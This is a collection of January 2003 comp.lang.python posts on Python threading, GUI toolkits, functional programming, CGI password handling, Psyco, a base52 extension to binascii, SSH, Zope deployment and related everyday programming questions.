
Of course not :)

And it doesn't preclude him from writing it himself, either...

I think it'd probably be much easier with Twisted than either of those
options, but of course I am probably a little biased ;)

-Andrew.





From dhostetler at sopris.net  Wed Jan 15 15:21:05 2003
From: dhostetler at sopris.net (.d.hos)
Date: 15 Jan 2003 12:21:05 -0800
Subject: threads / dictionaries
Message-ID: <8db020b9.0301151221.ea53532@posting.google.com>

Hello everybody,
I have a mutlithreading script in which I would like to create a
unique dictionary for each thread.

Currently, If thread 1 is writing to a dictionary, and thread 2
returns in the middle of that process, thread 1's dictionary is
overwritten with thread 2's entries. If I Space out the threads with
the sleep() function long enough, each dictionary returns a unique
dictionary - but that kinda kills the purpose of multithreading...?

can i dynamically name each dictionary for each thread? I've tried
using the thread id as the dictionary name - but to no avail...(could
be my coding)

I'm struggling with this and any help, or ideas (if this is the wrong
approach) would be great - If you can't tell, python is a new venture
for me.

thanks in advance,
.d.hos



From gbrunet at nospamsempersoft.com  Mon Jan  6 00:44:20 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Sun, 5 Jan 2003 23:44:20 -0600
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net>
Message-ID: <v1i5tsger4jv81@corp.supernews.com>

I've been checking out Python for a month or so after using VB for many
years, and having just completed a 4 month VB.NET project.  Here's a few
observations that I have:

- VB.NET (as well as C##) are/can be very strongly statically typed -
even more so than VB6.  I'm still trying to determine if I like a
strongly _dynamically_ typed language like Python.  I'm having a hard
time understanding why it's not better to know at compile time that
['foo' + 5] is an exception.  If I have to wait until runtime, then I
would think that I need to be writing LOTS more error checking code at
all my function entry points, whereas with strong static typing, I can
catch all this at compile time.  In my VB.NET project, I even took the
extra step of turning on
"Option Strict On" (in addition to "Option Explicit On" which I always
used in VB6).  (Even though I consider this combination "Option Anal",
my experience has been that it helps ensure that explicitly convert all
data types appropriately.)

- In order to write similar programs to VB6/.NET, I've been looking at
wxPython for the GUI, and wxGlade, PythonCard, and Boa Constructor as
editors / GUI designers.  The VB environments still blow the others
away, though I think that Boa should certainly look very familier to any
Delphi (and now .NET) developers.  There are certainly rough edges on
all these tools, though I have to admit to quite a few extra hours
coming up to speed with the differences between VB6 and .NET WinForms.
I do like many of the changes in WinForms, but it still takes getting
used to.

- I haven't written a big enough Python test program to compare
size,complexity, & performance with VB6 or .NET.  It appears that you'll
have to manage a fair amount of lower level details than you need to be
concerned with in VB.  I think that reducing this is one of the intents
of PythonCard.

- In VB6 (and earlier) it seems that data bound controls had gotten a
bad name for themselves, and a lot of folks ended up recommending that
you NOT bind controls, but move information in & out via code.  It seems
that Microsoft has made a large push to make WinForms databound 'ready
for prime time'.  ...And for good reason - I think that many folks
consider it essential in order to consider a tool to be a RAD (Rapid
Application Development) tool.  Unfortunately, after wrestling with this
in my project, I ended up removing the binding for my main data entry
form.  There were just too many problems with it (primarily in the area
of cascading events involving related fields - it became easier to
unbind the fields).  Bound controls can still be valuable in simpler
situations, and especially with controls like grids, so I haven't given
up on them completely.

- The large and relatively robust set of controls available to VB
developers is probably the biggest issue IMHO.  A data bound grid is
essential to database application developers, in order to display
records to browse & edit.  There are many such grids available (I'm
partial to the TrueGrid / Component One product) for VB, but it seems
that you'd have to write all of the code yourself to do this with
wxGrid.  There are some neat UI widgets in wxPython (and in some of the
other GUI frameworks), but they seem to be way behind in databound
controls.

- I'm still coming to grips with the ADO.NET model, but it seems very
powerful.  The change from RecordSets to Datasets (what I think of as a
local (disconnected) copy of the desired elements of a database), and
the ease of resyncing the information with the database is awesome.
Even better is another Component One tool: DataObjects which extends the
model even further.  This area may end up being even a bigger benefit to
developing database apps than databound controls, so it may be another
key edge for .NET

- It may be that I am too far gone to be able to 'think Pythonically',
but, at least at this time, it still seems to be quite a bit easier to
develop a database app in VB6 or .NET than in Python.  I'll still be
investigating Python, and may even be able to contribute a few tools
some day, but for now, I expect the apps the I write to pay the bills
will continue to be written in VB6 or .NET (or ASP/VBScript).

- I know that a big potential plus for Python, and even the GUI
platforms like wxPython is it's cross-platform capability.  The success
of stuff like Lindows and the cheap Wal-Mart computers may change
things, but for now, practically all the folks that I run in to looking
to have apps developed, run Windows - so, at least for now, I'm not
really 'gaining market share' by being portable to other platforms.
Also, after developing Web apps for the last few years, and having to
deal with browser differences, I've found that when it comes to user
interfaces, 'cross-platform' has to be take with a grain of salt.  I'm
in awe of what folks like Robin Dunn are able to do in getting things to
work across different platforms, but the wxPython-users list is a
testimony to the difficulty in truly achieving this.

Good luck on your search,

--
Greg


"Etienne Charland" <mystery at golden.net> wrote in message
news:PxQR9.45$uS3.4626462 at mantis.golden.net...
> I would like to compare Python with .Net. First of all, for those who
knows
> .Net, what are the pros and the cons of each? Secondly, how would I
write
> this simple database application in Python, to see how it looks like.
I've
> written the code required to do it in VB.Net.





From zope at thewebsons.com  Sat Jan 11 22:50:05 2003
From: zope at thewebsons.com (beno)
Date: Sat, 11 Jan 2003 23:50:05 -0400
Subject: Stackless Python, Tail Recursion and Functional Programming
In-Reply-To: <9s212vgknfdkcdbpmukuq28fvgnc70fps8@4ax.com>
References: <mailman.1042262600.31378.python-list@python.org>
Message-ID: <5.1.0.14.0.20030111234641.02210298@mail.thewebsons.com>

Thank you for your tutorial! I'll study it in detail and put it to practice.
beno

At 11:51 PM 1/11/2003 +0000, you wrote:
>On Sat, 11 Jan 2003 01:18:05 -0400, beno <zope at thewebsons.com> wrote:
>(edit)
> >Someone wrote me from this list advising me to drop my passion for
> >functional programming because Python doesn't optimize for it.
>
>Wait a minute!  Don't "drop your passion" just yet!  I was the one
>that told you that CPython does not optimize for tail-recursion.  But
>"Tail-recursion" is not the whole of "functional programming".
>
>These two are found together in the LISP world, but a language that
>does not optimize for tail-recursion is not precluded from having
>functional programming elements.
>
>Tail-recursion is just a looping construct.  Instead of using
>tail-recursion for looping, just use a "while" or "for" loop.
>
># ######################################### #
>
>import operator
>
>def factorial_forloop(n):
>     x = 1L
>     for i in xrange(1, n + 1):
>         x *= long(i)
>     return x
>
>def factorial_tailloop(n):
>     if n == 0: return 1L
>     return long(n) * factorial_tailloop(n - 1)
>
>def factorial_functional(n):
>     return reduce(
>         operator.mul,
>         range(1, n + 1),
>         1 )
>
>def print_functions(*functions):
>     def g(n):
>         for f in functions:
>             r = f(n)
>             print '%s(%i) = %r' % (f.__name__, n, r)
>     return g
>
>p = print_functions(
>     factorial_forloop,
>     factorial_functional,
>     factorial_tailloop )
>
>p(0)
>p(1)
>p(2)
>p(3)
>p(4)
>p(5)
>p(20)
>p(50)
>p(1000)
>
># ######################################### #
>
>On my machine, "factorial_forloop" handles 1000 just fine, and
>"factorial_tailloop" blows up with a
>"RuntimeError: maximum recursion depth exceeded"
>
>If CPython optimized tail-recursion, we would expect
>"factorial_forloop" and "factorial_tailloop" to have similar
>performance.
>
>But that doesn't mean you can't use recursive algorithms in Python.
>Beyond fully optimized tail-recursion, Python handles general
>recursion just as efficiently as any language.
>
>Anyway, getting back to "functional programming"...
>
>A loose definition of "functional programming" is:
>
>     Typing in the description of a computation,
>     and getting the answer
>     without needing to specify any procedure to get that
>     answer.
>
>More or less.
>
>Some trickier stuff left out of the definition above:
>
>     We can programmatically manipulate these descriptions of
>     computations.
>
>     As above, we can just describe these manipulations, we don't
>     need to specify the procedure to do these manipulations.
>
>     The output of our computations can be another description!
>     To start the whole thing over again!
>
>Python has some functional programming abilities:
>
>"factorial_functional" shows one functional programming approach to
>factorial.  I don't specify any loop, it is implied by "reduce".  This
>one also runs just fine for 1000.
>
>Some Python built-ins that are taken from the functional programming
>world are: lambda, map, apply, reduce, filter.
>
>Also list comprehensions:
>
>     [ x * 10 for x in range(50) if (x % 3) == 1 ]
>
>Instead of:
>
>     list0 = []
>     x = 0
>     while x < 50:
>         if (x % 3) == 1:
>             list0.append(x * 10)
>         x += 1
>
>I learned functional programming in Mathematica.  The language that
>seems to be on the forefront of functional programming is Haskell.  I
>have no experience with Haskell.
>
>I would assume there are "tricky" things you can do in Haskell that
>you cannot do in Python without creating your own Python
>implementation of Haskell.
>
>If there is something cool in Haskell you wish you could do in Python,
>the people in comp.lang.python will give you a way to do it, if it can
>be done in Python.
>
>Manuel
>--
>http://mail.python.org/mailman/listinfo/python-list






From and-google at doxdesk.com  Wed Jan 15 10:52:36 2003
From: and-google at doxdesk.com (Andrew Clover)
Date: 15 Jan 2003 07:52:36 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com>
Message-ID: <2c60a528.0301150752.7078ca77@posting.google.com>

Will Stuyvesant <hwlgw at hotmail.com> wrote:

> Is there a way to encrypt a password before it is sent?

  A. Use SSL.
  B. Use HTTP Digest Authentication.
  C. Use client-side scripting to hash the password.

(A) is good, but implies the hassle of getting certificates, and
an HTTPS server if you are not already using one.

(B) is great, but is not well-supported by user agents. (read:
no-go on Internet Explorer)

(C) is effective but requires the user to have JavaScript enabled.

I usually end up (on non-SSL sites) using a hybrid authentication
scheme where a script on the page generates an MD5 hash of the
password entered and puts it in a cookie. If the authentication-
required page(s) don't see a valid login cookie they fall back to
using HTTP Basic Authentication.

Can send you client JavaScript and server Python code that implements
this if it might help.

-- 
Andrew Clover
mailto:and at doxdesk.com
http://www.doxdesk.com/



From Miki_Tebeka at amat.com  Sun Jan 12 04:58:41 2003
From: Miki_Tebeka at amat.com (Miki_Tebeka at amat.com)
Date: Sun, 12 Jan 2003 11:58:41 +0200
Subject: Performance penalty for using classes?
Message-ID: <OFBAD76288.44C7D9D8-ONC2256CAC.0036AC36@LocalDomain>

Hello Tim,

10x. I'll give it a try.

(BTW: How much time did the other tests took on your machine?)


Bye.
-----------------------------------------------------------------------------

Smile, damn it, smile.

lambda msg: {
        'name' : 'Miki Tebeka',
        'email' : 'miki_tebeka at amat.com',
        'url' : 'http://www.cs.bgu.ac.il/~tebeka',
        'quote' : 'The only difference between children and adults is the
price of the toys'
}[msg]




           --------------------------------------------------------------------------------------------------------------------------- 
                                                                                                                                       
                                               To: Miki Tebeka <tebeka at cs.bgu.ac.il>                                                   
                                               cc: python-list at python.org                                                              
           Tim Churches                        Subject:  Re: Performance penalty for using classes?                                    
           <tchur at optushome.com.au>                                                                                                    
           01/13/03 08:33 AM                                                                                                           
                                                                                                                                       
                                                                                                                                       





On Sat, 2003-01-11 at 22:04, Miki Tebeka wrote:
> Hello All,
>
> I need my M.Sc. to run fast but I don't want to recode it in C.
> I've noticed that using classes can cause my code to run about 30%
> slower.
> (See the below tests)
>
> Since I don't need OO much in this project is it worth moving to a
> non-OO programming style?
>
> Miki
----snip-----

Why not use Psyco (see psyco.sf.net):

#----class_test.py--------
#!/usr/bin/env python
import random, time

class Dot:
    def __init__(self, x, y):
        self._x = x
        self._y = y

    def x(self):
        return self._x

    def set_x(self, x):
        self._x = x

    def y(self):
        return self._y

    def set_y(self, y):
        self._y = y


def test_class(iterations):
    while iterations > 0:
        d = Dot(random.random(), random.random())
        x, y = d.x(), d.y()
        d.set_x(y)
        d.set_y(x)
        iterations -= 1

if __name__ == '__main__':
    from sys import argv, stdout
    if len(argv) > 1:
        iterations = long(argv[1])
    else:
        iterations = 100000

    print 'Performing %d iterations without Psyco' % iterations
    stdout.flush()
    start = time.time()
    test_class(iterations)
    end = time.time()
    print '* Done'
    print "That took %.3f seconds" % (end - start)
    print
    import psyco
    psyco.bind(Dot)
    psyco.bind(test_class)
    print 'Performing %d iterations with Psyco' % iterations
    stdout.flush()
    start = time.time()
    test_class(iterations)
    end = time.time()
    print '* Done'
    print "That took %.3f seconds" % (end - start)
#----class_test.py--------

produces this output:

$ python psyco-test.py
Performing 100000 iterations without Psyco
* Done
That took 1.985 seconds

Performing 100000 iterations with Psyco
* Done
That took 1.198 seconds
$

That's a lot easier than rewriting all your code...

Tim C










From jorgencederberg at hotmail.com  Fri Jan 31 03:25:56 2003
From: jorgencederberg at hotmail.com (=?ISO-8859-1?Q?J=F8rgen_Cederberg?=)
Date: Fri, 31 Jan 2003 09:25:56 +0100
Subject: TKinter Entry question
References: <3E3A2009.7040700@netscape.net>
Message-ID: <3E3A3314.5080403@hotmail.com>

vector wrote:
> Q1 can I put some pre text in the entry box?. How?
> Q2 how do I know when/if to get the users entry?

This is the second time you ask these questions. Eric Brunel gave you a 
hint to use StringVar() and a button. Here is an example that reacts to 
all that is entered in the entry field.

--- Start ---
# entry.py
from Tkinter import *

def textentered(event):
     pass

class EntryTester:
     def __init__(self, parent, deftext):
         self.fanon = StringVar()
         e = Entry(parent, textvariable=self.fanon)
         e.pack()
         e.bind('<Key>', self.keybhit)
         self.fanon.set(deftext)

     def keybhit(self, event):
         print self.fanon.get()

if __name__ == '__main__':
     import sys
     root = Tk()
     EntryTester(root, sys.argv[1])
     root.mainloop()

--- End ---

it should be runned as: python entry.py DefaultText

But reading your posting again, suggest that the fanon variable is a 
switch perhaps? In that case, consider using a radiobutton or 
checkbutton instead.

Execellent Tkinter documentation is found at:
http://www.pythonware.com/library/tkinter/introduction/index.htm and
http://www.nmt.edu/tcc/help/lang/python/tkinter.html

Regards
J?rgen Cederberg







From clpy at a-nugget.de  Wed Jan 22 07:26:59 2003
From: clpy at a-nugget.de (Guido Goldstein)
Date: 22 Jan 2003 13:26:59 +0100
Subject: Commercial IDEs: is it worth it?
References: <4ZuX9.13933$CG6.239986@news4.e.nsc.no>
Message-ID: <m2wukx4bfw.fsf@mail.a-nugget.de>

Hi!

On Wed, 22 Jan 2003 12:08:46 +0100
  "Thomas Weholt" <2002 at weholt.org> wrote:
> Hi,
[...]
> I was wondering; are there any commercial IDEs out there that really beats
> Emacs? Looked at WingIDE and it looks nice, but $149 for the standard
> version??!!!

I took a look at wingIDE and was not convinced to buy it.
Ok, I'm an (X)emacs user also and therfore my standards are quite high
-- I guess. :)

[...]
> ( Opinions on other free editors that might fit my needs would also be
> interesting. Looked briefly at VIM and used IDLE earlier. )

I encountered eric3 and was pleased. Really...
It does graphical debugging, some projekt administration (mainly keeps
the python files together) and works well enough (if you can forget
the C-a to move to the beginning of a line :).

Also, the Author (maintainer?) is *very* responsive and friendly.
I've to admit that this point was the one that convinced me to give it
a deeper look.

Yes, there're drawbacks (in order of importance):
 1. Documentation
 2. Documentation
 3. Documentation

But, hey!, it's OpenSource and for free.
And the feature list is already impressive (and growing...).

If you want to take a look:
  http://www.die-offenbachs.de/detlev/eric3.html

HAND
  Guido




From bokr at oz.net  Thu Jan  2 17:02:43 2003
From: bokr at oz.net (Bengt Richter)
Date: 2 Jan 2003 22:02:43 GMT
Subject: Simple encryption proposal. Comments ?
References: <BOMP9.5093$CG6.90311@news4.e.nsc.no> <mailman.1041211955.22409.python-list@python.org> <aZYP9.5185$CG6.93090@news4.e.nsc.no> <7xptrj8rr5.fsf@ruckus.brouhaha.com> <aurvdu$sqe$0@216.39.172.122> <8a6ba1da.0301020356.7916bc80@posting.google.com> <7xbs2zrbdf.fsf@ruckus.brouhaha.com> <av1g67$b3l$0@216.39.172.122> <7xlm23a99v.fsf@ruckus.brouhaha.com>
Message-ID: <av2cu3$23j$0@216.39.172.122>

On 02 Jan 2003 06:58:20 -0800, Paul Rubin <phr-n2002b at NOSPAMnightsong.com> wrote:

>bokr at oz.net (Bengt Richter) writes:
>> Thanks for posting, mine was in C++ and not so pretty (though fast enough ;-)
>> 
>> BTW, (untested)
>> 
>>     k1, k2, k3 = map(_inv_letters.__getitem__, x[i:i+3])
>> 
>> might be an interesting alternative to the list comprehension?
>
>I don't know, I wasn't really trying to make that function fast, I was
>just playing around.  Base52 is a clever idea (I've gotten burned a
>number of times by non-alphanumeric base64 characters needing escaping
>for some purpose) so I wanted to try it.  A more serious
>implementation should be done as a C patch to the binascii module.
>
Ok. Below is a diff. I haven't tested it extensively, and it is called binasciiXXX.c
to kludge it into being an independently importable module for testing. I didn't
rebuild python (2.2.2 on windows nt4) yet.

It was linked with (just relinked for log) the following, which warns of my test kludging to
make the DLL export the init name.

[13:57] C:\pywk\ut\binascii>cl -nologo -LD -DUSE_DL_IMPORT /ID:\python22\include binasciiXXX.c -
link -LIBPATH:d:\python22\libs
binasciiXXX.c
D:\python22\include\pyconfig.h(105) : warning C4005: 'USE_DL_IMPORT' : macro redefinition
        unknown(0) : see previous definition of 'USE_DL_IMPORT'
   Creating library binasciiXXX.lib and object binasciiXXX.exp


===================================================================================
[13:58] C:\pywk\ut\binascii>diff -u D:\Python-2.2.2\Modules\binascii.c binasciiXXX.c
--- D:\Python-2.2.2\Modules\binascii.c  Wed Sep 25 02:25:14 2002
+++ binasciiXXX.c       Thu Jan 02 13:57:38 2003
@@ -51,6 +51,23 @@
 ** some cases of whitespace, etc).
 **
 ** Brandon Long, September 2001.
+**
+** Added support for "base52" encoding and decoding analogous to base64, but
+** using only the first52 characters of encoding letters (A-Z plus a-z).
+** It encodes pairs of binary bytes and special cases an odd length by
+** processing the first byte specially if so. It takes 3 base52 characters
+** to encode an input pair and also 3 chars for the odd byte. It is based
+** on the fact that 52**3 > 2**17, meaning that three code characters can
+** specify two bytes and a flag. The latter is 1 at bit 16 to flag an odd byte.
+** input pairs xy become a number ord(x)*256+ord(y), or ord(x)+65536 for the
+** odd byte. Base52 coefficients hi,mid,lo are then found such that
+** hi*52*52+mid*52+lo = the aforementioned number. Hi, mid, and lo are then
+** used to index into the A-Za-z string to get respective code character.
+** The inverse is the inverse, but ignores non-code-alphabet characters, so
+** base52 code strings can be arbitrarily broken up with spaces and newlines etc.
+**
+** Bengt Richter, January 2003
+**
 */


@@ -467,6 +484,108 @@
        return rv;
 }

+static char doc_b2a_base52[] = "(bin) -> ascii. Base52-code line of data";
+
+static PyObject *
+binascii_b2a_base52(PyObject *self, PyObject *args)
+{
+        /* use same same table as base64 (just first 52) */
+        #define table_b2a_base52 table_b2a_base64
+       unsigned char *ascii_data, *bin_data;
+       PyObject *rv;
+       int bin_len, hi, lo, mid;
+
+       if ( !PyArg_ParseTuple(args, "s#:b2a_base52", &bin_data, &bin_len) )
+               return NULL;
+       if ( bin_len > BASE64_MAXBIN ) {
+               PyErr_SetString(Error, "Too much data for base52 line");
+               return NULL;
+       }
+
+       /* We allocate exact space for output */
+       if ( (rv=PyString_FromStringAndSize(NULL, ((bin_len+1)/2)*3)) == NULL )
+               return NULL;
+       ascii_data = (unsigned char *)PyString_AsString(rv);
+
+       for( ; bin_len > 0 ; bin_len-=2 ) {
+               /* make 16 bit int and determine base52 coeffs*/
+                if(bin_len&1){  /* use up and flag odd char if any at front*/
+                    hi = 65536 + *bin_data++;
+                    bin_len += 1;   /*make it look like 2 for -=2*/
+                } else {
+                    hi = *bin_data++;
+                    hi = hi*256+ *bin_data++;
+                }
+                lo = hi%52; hi /= 52;
+                mid = hi%52; hi /= 52;
+                *ascii_data++ = table_b2a_base52[hi];
+                *ascii_data++ = table_b2a_base52[mid];
+                *ascii_data++ = table_b2a_base52[lo];
+        }
+
+       return rv;
+}
+
+static char doc_a2b_base52[] = "(ascii) -> bin. Decode a line of base52 data";
+
+static PyObject *
+binascii_a2b_base52(PyObject *self, PyObject *args)
+{
+       unsigned char *ascii_data, *bin_data, *bin_beg;
+       unsigned char this_ch;
+       PyObject *rv;
+       int ascii_len, bin_len;
+       int nc = 0;     /* number of code chars, counting three at a time*/
+        int num17 = 0;  /* possibly 17-bit value of base52 code */
+
+       if ( !PyArg_ParseTuple(args, "t#:a2b_base52", &ascii_data, &ascii_len) )
+               return NULL;
+
+       bin_len = (ascii_len/3)*2; /* Upper bound, corrected later */
+
+       /* Allocate the buffer */
+       if ( (rv=PyString_FromStringAndSize(NULL, bin_len)) == NULL )
+               return NULL;
+       bin_data = bin_beg = (unsigned char *)PyString_AsString(rv);
+       for( ; ascii_len > 0; ascii_len--) {
+               this_ch = *ascii_data++;
+
+               if (this_ch > 0x7f ||
+                   this_ch == '\r' || this_ch == '\n' || this_ch == ' ')
+                       continue;
+                if(this_ch >= 'A' && this_ch <= 'Z'){
+                    this_ch -= 'A';
+                } else if(this_ch >= 'a' && this_ch <= 'z'){
+                    this_ch -= ('a'-26);
+                } else {
+                    continue;
+                }
+
+                num17 = num17*52 + this_ch;
+                if( ++nc == 3){
+                    nc = 0; /* we should alsways get triplets or encoding is bad*/
+                    if( num17 & 65536 ){
+                        *bin_data++ = num17&0xff;
+                    } else {
+                        *bin_data++ = (num17>>8)&0xff;
+                        *bin_data++ = num17&0xff;
+                    }
+                    num17 = 0;
+               }
+       }
+
+       if (nc != 0) {
+               PyErr_SetString(Error, "Number of base52 characters not a multiple of 3");
+               Py_DECREF(rv);
+               return NULL;
+       }
+
+       /* and set string size correctly */
+       if (bin_data > bin_beg)
+               _PyString_Resize(&rv, bin_data - bin_beg);
+       return rv;
+}
+
 static char doc_a2b_hqx[] = "ascii -> bin, done. Decode .hqx coding";

 static PyObject *
@@ -1286,6 +1405,8 @@
 static struct PyMethodDef binascii_module_methods[] = {
        {"a2b_uu",     binascii_a2b_uu,     METH_VARARGS, doc_a2b_uu},
        {"b2a_uu",     binascii_b2a_uu,     METH_VARARGS, doc_b2a_uu},
+       {"a2b_base52", binascii_a2b_base52, METH_VARARGS, doc_a2b_base52},
+       {"b2a_base52", binascii_b2a_base52, METH_VARARGS, doc_b2a_base52},
        {"a2b_base64", binascii_a2b_base64, METH_VARARGS, doc_a2b_base64},
        {"b2a_base64", binascii_b2a_base64, METH_VARARGS, doc_b2a_base64},
        {"a2b_hqx",    binascii_a2b_hqx,    METH_VARARGS, doc_a2b_hqx},
@@ -1308,15 +1429,18 @@


 /* Initialization function for the module (*must* be called initbinascii) */
-static char doc_binascii[] = "Conversion between binary data and ASCII";
+static char doc_binascii[] = "XXX Conversion between binary data and ASCII";
+
+/* #define DL_IMPORT(RTYPE) __declspec(dllexport) RTYPE */
+#define DL_EXPORT_XXX(RTYPE) __declspec(dllexport) RTYPE

-DL_EXPORT(void)
-initbinascii(void)
+DL_EXPORT_XXX(void)
+initbinasciiXXX(void)
 {
        PyObject *m, *d, *x;

        /* Create the module and add the functions */
-       m = Py_InitModule("binascii", binascii_module_methods);
+       m = Py_InitModule("binasciiXXX", binascii_module_methods);

        d = PyModule_GetDict(m);
        x = PyString_FromString(doc_binascii);
===================================================================================

To use this in python itself, change and/or get rid of XXX kludges. The doc string
only has that so I could tell I was importing the separate test module at first.

Regards,
Bengt Richter



From missive at frontiernet.net  Wed Jan 29 18:47:19 2003
From: missive at frontiernet.net (Lee Harr)
Date: Wed, 29 Jan 2003 23:47:19 -0000
Subject: SSH Control Through Python
References: <mailman.1043875322.30130.python-list@python.org>
Message-ID: <v3gq074drk3j4e@corp.supernews.com>

In article <mailman.1043875322.30130.python-list at python.org>, Tyson Tate wrote:
> I'm looking for some modules or what-not with which I could use to 
> connect to a remote host by way of SSH. pyssh looks as though it only 
> sends one command. I'd like to be able to log in and send commands as I 
> generate them (essentially I'm writing a program that will let me run 
> certain shell scripts and other items remotely). I searched google 
> groups but I can't seem to find a clear answer.
> 


The Latest Twisted announcement mentions improved ssh support.
You might want to take a look at that.




From jciber16 at hotpop.com  Thu Jan  2 02:20:38 2003
From: jciber16 at hotpop.com (Jc)
Date: Thu, 2 Jan 2003 02:20:38 -0500
Subject: File IO.
Message-ID: <3e13e820_4@corp.newsgroups.com>

I'm writing a program and when it can't open a txt file it crashes. How can
I get it to report the file not being there? I set it up using the basic
command,

in_file = open(filename+".txt","r")
text = in_file.read()
in_file.close()

Thanks.

JC




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From max at alcyone.com  Sat Jan 25 02:23:49 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 24 Jan 2003 23:23:49 -0800
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net>
Message-ID: <3E323B85.9DF6D032@alcyone.com>

"Aaron K. Johnson" wrote:

> What you see below are pure and simple the number of unique posters to
> each
> comp.lang.whatever hierarchy in December 2002.

So they're to the whole hierarchy?  Several of these groups have large
hierarchies, some don't; some of those subgroups are moderated.  Does
this take into account crossposts within hierarchies, or across them? 
How about spam?  Right there those factors are going to tweak the
numbers in favor of hierarchies with more groups rather than less, even
setting aside whether or not more groups would encourage more posts, or
whether or not those languages are more popular and thus have more
subgroups in the first place.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ When you love somebody, you're always in trouble.
\__/ Col. Sherman Potter
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From hemoglobea at hotmail.com  Wed Jan 29 12:12:25 2003
From: hemoglobea at hotmail.com (Stanley)
Date: 29 Jan 2003 09:12:25 -0800
Subject: memory leak with large list??
References: <bdb2e78a.0301241435.f0f2cc3@posting.google.com>
Message-ID: <bdb2e78a.0301290912.92e1a9c@posting.google.com>

Thanks for all the good pointers.  I did try using the array module,
initializing with the 'd' type, and based on my 'ps' measurements, it
was taking up just about twice as much memory as a list with the same
number of elements, which made me think that the array module wasn't
what I understood it to be.  In retrospect, I relize that I was
comparing the size of a list of 12e6 pointers to 0.0 to an array of 8
byte floats, which I guess is like comparing apples to apple seeds.


This brings up two questions for me:

1. Since several people suggested it, I've been looking at Numeric
python, which looks really great.  The question is, are there any
disadvantages to using Numeric over using the array module.  It seems
that array is just a poor cousin of Numeric.  So I assume that either
the array module has some advantage (speed or memory wise) over
Numeric, or it exists simply because Numeric is not a part of the base
python distribution.  So is there any reason not to use Numeric??

2. Is there any nice way to profile memory in python?  Using ps seems
like a very crude tool, but the gc module only seems to help with
leaks, and the profiler doesn't seem to deal with memory.


I do understand that its easiest to buy more memory, but I'm
eventually going to want to have several data structures with 12e6
floats (and possibly a larger number), it seems to make sense to try
to economize a bit, before I run out of addressable memory.



From theller at python.net  Thu Jan 16 10:05:13 2003
From: theller at python.net (Thomas Heller)
Date: 16 Jan 2003 16:05:13 +0100
Subject: Bug with super() and reload()?
References: <of6h1crt.fsf@python.net> <7h3vg0pno6q.fsf@pc150.maths.bris.ac.uk>
Message-ID: <iswpnniu.fsf@python.net>

Michael Hudson <mwh at python.net> writes:

> Thomas Heller <theller at python.net> writes:
> 
> > Thinking hard, I can understand why this traceback occurs: The object
> > 'y' is not an instance of the 'Y' refered to in the source code.
> 
> You had to think hard for that?  You can't use Python interactively
> much...

It wasn't the right word I think.

But you're right, most of the time I simply hit C-c C-c in xemacs.

> 
> > Should this be considered a bug, or is it simply a wart, and reload
> > should be avoided?
> 
> Well, it's not gonna change anytime soon, so I guess it's a wart.
> 
> This may interest you:
> 
>     http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/160164

No thanks ;-), I've enough metaclasses already.

Thomas



From andrew at logicalprogression.net  Wed Jan 15 16:06:46 2003
From: andrew at logicalprogression.net (Andrew Veitch)
Date: Wed, 15 Jan 2003 21:06:46 +0000
Subject: Zope on Port 80
In-Reply-To: <3E24F2F6.18959BA3@engcorp.com>
Message-ID: <BA4B7DE6.7FCC%andrew@logicalprogression.net>

>> It's not that good an idea to expose Zope to the outside world anyway, I'd
>> suggest running Apache on port 80 and re-direct to Zope on localhost:8080
> 
> Is this comment based on fear of the unknown, or are there specific
> security issues which concern you about exposing Zope to the outside
> world.

We ran Zope exposed to the real world for about 4 weeks and it crashed
pretty much every day. 6 months ago we put it behind Apache and there's not
been a single crash since then.

Looking at the Apache logs we get loads of malformed requests every day from
script kids - my guess is that's the problem.

I'd agree with Terry Hancock's comments on this thread too.

A





From aleax at aleax.it  Fri Jan 31 12:30:00 2003
From: aleax at aleax.it (Alex Martelli)
Date: Fri, 31 Jan 2003 17:30:00 GMT
Subject: mention of books & extensions welcome, or...? (was Re: Scripting *of* Python)
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org> <3E39FDE4.99EB64D4@alcyone.com> <mailman.1043990705.14436.python-list@python.org> <0Ur_9.148187$AA2.6031796@news2.tin.it> <yyyvg05kzne.fsf@adams.patriot.net>
Message-ID: <soy_9.151609$AA2.6131659@news2.tin.it>

<posted & mailed>

I was slightly surprised to read the following...:

Nick Vargish wrote:

> Alex Martelli <aleax at aleax.it> writes:
> 
>> (Which is why I managed to put in a LITTLE coverage of Twisted,
>> just twisted.internet actually, in "Python in a Nutshell" --
>> which I should be busy proofreading _right now_ rather than
>> skimming c.l.py -- it should be in bookstores in March...)
> 
> This thread is just full of product placement.
> 
> *grumble*

Is this just an isolated opinion, with most readers still
welcoming mentions and details about Python books and
extension packages; or, has comp.lang.python's consensus
shifted so drastically, so fast, so that such mentions are
now seen as undesirable "product placement"???

I would like to know, because, if the latter is indeed the
case, then I can simply omit posting anything that mentions
any Python book or third-party extension -- e.g. "this is
covered in the Nutshell", "Holden's book has a good example
of this", "twisted.internet is just right for this task", and
the like.  I _would_ find it surprising -- so far I have
always thought that such indications served a useful purpose,
not least because I got very favorable feedback about them --
but, if things have indeed changed, then I'll apologize for
unwittingly causing such disturbance, and avoid giving any
more in the future.

If the grumble is (as I think, based on past impressions
from this group) actually unjustified, then maybe _I_ should
not be the one offering apologies.

So, what's the current consensus...?


Alex




From whisper at oz.net  Mon Jan 13 19:52:21 2003
From: whisper at oz.net (David LeBlanc)
Date: Mon, 13 Jan 2003 16:52:21 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re:  [ann]MinimalPython project)
In-Reply-To: <avvami$8ok$1@newsreader.mailgate.org>
Message-ID: <GCEDKONBLEFPPADDJCOEEEHOHFAA.whisper@oz.net>

Well, the opposite of python would be pythoff, but that might convey the
wrong message ;) That's another "worst" <g>

David LeBlanc
